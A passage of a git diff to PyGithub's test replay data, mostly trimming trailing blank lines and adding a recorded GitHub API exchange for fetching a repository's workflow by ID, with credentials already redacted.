.png","login":"Lyloa","url":"https://api.github.com/users/Lyloa","id":1131432}] - diff --git a/tests/ReplayData/Repository.testGetTeams.txt b/tests/ReplayData/Repository.testGetTeams.txt index e6dfdbc5e9..ce76a6e1a8 100644 --- a/tests/ReplayData/Repository.testGetTeams.txt +++ b/tests/ReplayData/Repository.testGetTeams.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4913'), ('content-length', '76'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7da40fa4ce70d77b7cddef012cf24607"'), ('date', 'Sun, 27 May 2012 07:15:56 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/teams/141496","name":"Members","id":141496}] - diff --git a/tests/ReplayData/Repository.testGetTopics.txt b/tests/ReplayData/Repository.testGetTopics.txt index ea6095df3a..45bd565781 100644 --- a/tests/ReplayData/Repository.testGetTopics.txt +++ b/tests/ReplayData/Repository.testGetTopics.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '30'), ('x-runtime-rack', '0.081855'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"c34823528b2c41eadf247bcea3b7dabc"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.mercy-preview; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '4C20:5398:FE4A88:26DA323:5AD7F450'), ('date', 'Thu, 19 Apr 2018 01:43:45 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1524105758')] {"names":["testing","github"]} - diff --git a/tests/ReplayData/Repository.testGetWatchers.txt b/tests/ReplayData/Repository.testGetWatchers.txt index c84fc45599..115642a8a8 100644 --- a/tests/ReplayData/Repository.testGetWatchers.txt +++ b/tests/ReplayData/Repository.testGetWatchers.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4910'), ('content-length', '4422'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8e8c7e43110b3cb76b2e52cec4202ced"'), ('date', 'Sun, 27 May 2012 07:17:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/Stals","avatar_url":"https://secure.gravatar.com/avatar/5341a13bb6125ce7c97cf91b35209e16?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5341a13bb6125ce7c97cf91b35209e16","login":"Stals","id":472089},{"url":"https://api.github.com/users/att14","avatar_url":"https://secure.gravatar.com/avatar/96e24bccec8300005c74a0d9cd096149?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96e24bccec8300005c74a0d9cd096149","login":"att14","id":780132},{"url":"https://api.github.com/users/jardon-u","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","login":"jardon-u","id":994192},{"url":"https://api.github.com/users/huxley","avatar_url":"https://secure.gravatar.com/avatar/16a037e47cf9737e037169cbd1d2bed6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"16a037e47cf9737e037169cbd1d2bed6","login":"huxley","id":839},{"url":"https://api.github.com/users/mikofski","avatar_url":"https://secure.gravatar.com/avatar/98aa463dd3f869c195efc372c8d42c86?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"98aa463dd3f869c195efc372c8d42c86","login":"mikofski","id":1385621},{"url":"https://api.github.com/users/L42y","avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4dc11d87759273f3466ab4f673bcecae","login":"L42y","id":284820},{"url":"https://api.github.com/users/fanzeyi","avatar_url":"https://secure.gravatar.com/avatar/71de1870e298b3488d75c4cb805f4cf7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"71de1870e298b3488d75c4cb805f4cf7","login":"fanzeyi","id":409951},{"url":"https://api.github.com/users/abersager","avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","id":1328351},{"url":"https://api.github.com/users/waylan","avatar_url":"https://secure.gravatar.com/avatar/5479425141d61976fd0875bea7dfd7e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5479425141d61976fd0875bea7dfd7e0","login":"waylan","id":78846},{"url":"https://api.github.com/users/adericbourg","avatar_url":"https://secure.gravatar.com/avatar/5287a88d1c85f336fe494a694fac7635?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5287a88d1c85f336fe494a694fac7635","login":"adericbourg","id":615743},{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},{"url":"https://api.github.com/users/pvicente","avatar_url":"https://secure.gravatar.com/avatar/c6733f16eb6fc13f79c6dcfd093b347a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c6733f16eb6fc13f79c6dcfd093b347a","login":"pvicente","id":471109},{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},{"url":"https://api.github.com/users/michaelpedersen","avatar_url":"https://secure.gravatar.com/avatar/1689abbd998128dbb3658698b429b022?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1689abbd998128dbb3658698b429b022","login":"michaelpedersen","id":22974},{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031}] - diff --git a/tests/ReplayData/Repository.testGetWorkflowId.txt b/tests/ReplayData/Repository.testGetWorkflowId.txt new file mode 100644 index 0000000000..cd44c4a703 --- /dev/null +++ b/tests/ReplayData/Repository.testGetWorkflowId.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Date', 'Thu, 30 Apr 2020 14:23:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1588260036'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ca5e583e90533cae1b4d5dbe1e06ce8e"'), ('Last-Modified', 'Thu, 30 Apr 2020 11:35:51 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EA20:2BF3:3A538:437A1:5EAADF62')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-04-30T11:35:51Z","pushed_at":"2020-04-29T03:27:15Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12694,"stargazers_count":3394,"watchers_count":3394,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1099,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":45,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1099,"open_issues":45,"watchers":3394,"default_branch":"master","permissions":{"admin":false,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":true,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1099,"subscribers_count":98} + +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/actions/workflows/1122712 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Date', 'Thu, 30 Apr 2020 14:23:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1588260036'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fc1eaa3814dd3ef6fdb3da89e056c63b"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EA22:67AD:694D5:7A1D2:5EAADF63')] +{"id":1122712,"node_id":"MDg6V29ya2Zsb3cxMTIyNzEy","name":"Publish to PyPI","path":".github/workflows/python-publish.yml","state":"active","created_at":"2020-04-26T18:51:02.000+10:00","updated_at":"2020-04-26T18:51:02.000+10:00","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1122712","html_url":"https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/python-publish.yml","badge_url":"https://github.com/PyGithub/PyGithub/workflows/Publish%20to%20PyPI/badge.svg"} diff --git a/tests/ReplayData/Repository.testGetWorkflowRuns.txt b/tests/ReplayData/Repository.testGetWorkflowRuns.txt index c66b2b3b2c..c438b76a7e 100644 --- a/tests/ReplayData/Repository.testGetWorkflowRuns.txt +++ b/tests/ReplayData/Repository.testGetWorkflowRuns.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Thu, 21 May 2020 02:15:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1590030918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"dc48c44f85cee126dcdf05e177a328a9"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '831A:167F:3F502F:485CEE:5EC5E437')] {"total_count":124,"workflow_runs":[{"id":110932306,"node_id":"MDExOldvcmtmbG93UnVuMTEwOTMyMzA2","head_branch":"master","head_sha":"7abf600480089550b4224aa97004367c2fa25b38","run_number":122,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932306","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/110932306","pull_requests":[],"created_at":"2020-05-20T23:59:37Z","updated_at":"2020-05-21T00:02:14Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932306/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932306/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/702297865","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932306/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932306/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932306/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"7abf600480089550b4224aa97004367c2fa25b38","tree_id":"b970dc06ebe9e62e634ab64e8dfd39d7e38eddba","message":"Remove RateLimit.rate (#1529)\n\nRateLimit.rate was first deprecated in v1.43.2, which was released 20\r\nmonths ago. As that's a fairly generous deprecation period, remove it.","timestamp":"2020-05-20T23:59:35Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":110932159,"node_id":"MDExOldvcmtmbG93UnVuMTEwOTMyMTU5","head_branch":"master","head_sha":"19fc43abf6c80720a7f69471ae41b2eba0daa363","run_number":121,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932159","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/110932159","pull_requests":[],"created_at":"2020-05-20T23:59:08Z","updated_at":"2020-05-21T00:01:38Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932159/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932159/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/702297017","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932159/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932159/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932159/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"19fc43abf6c80720a7f69471ae41b2eba0daa363","tree_id":"412dd575251b3e41006f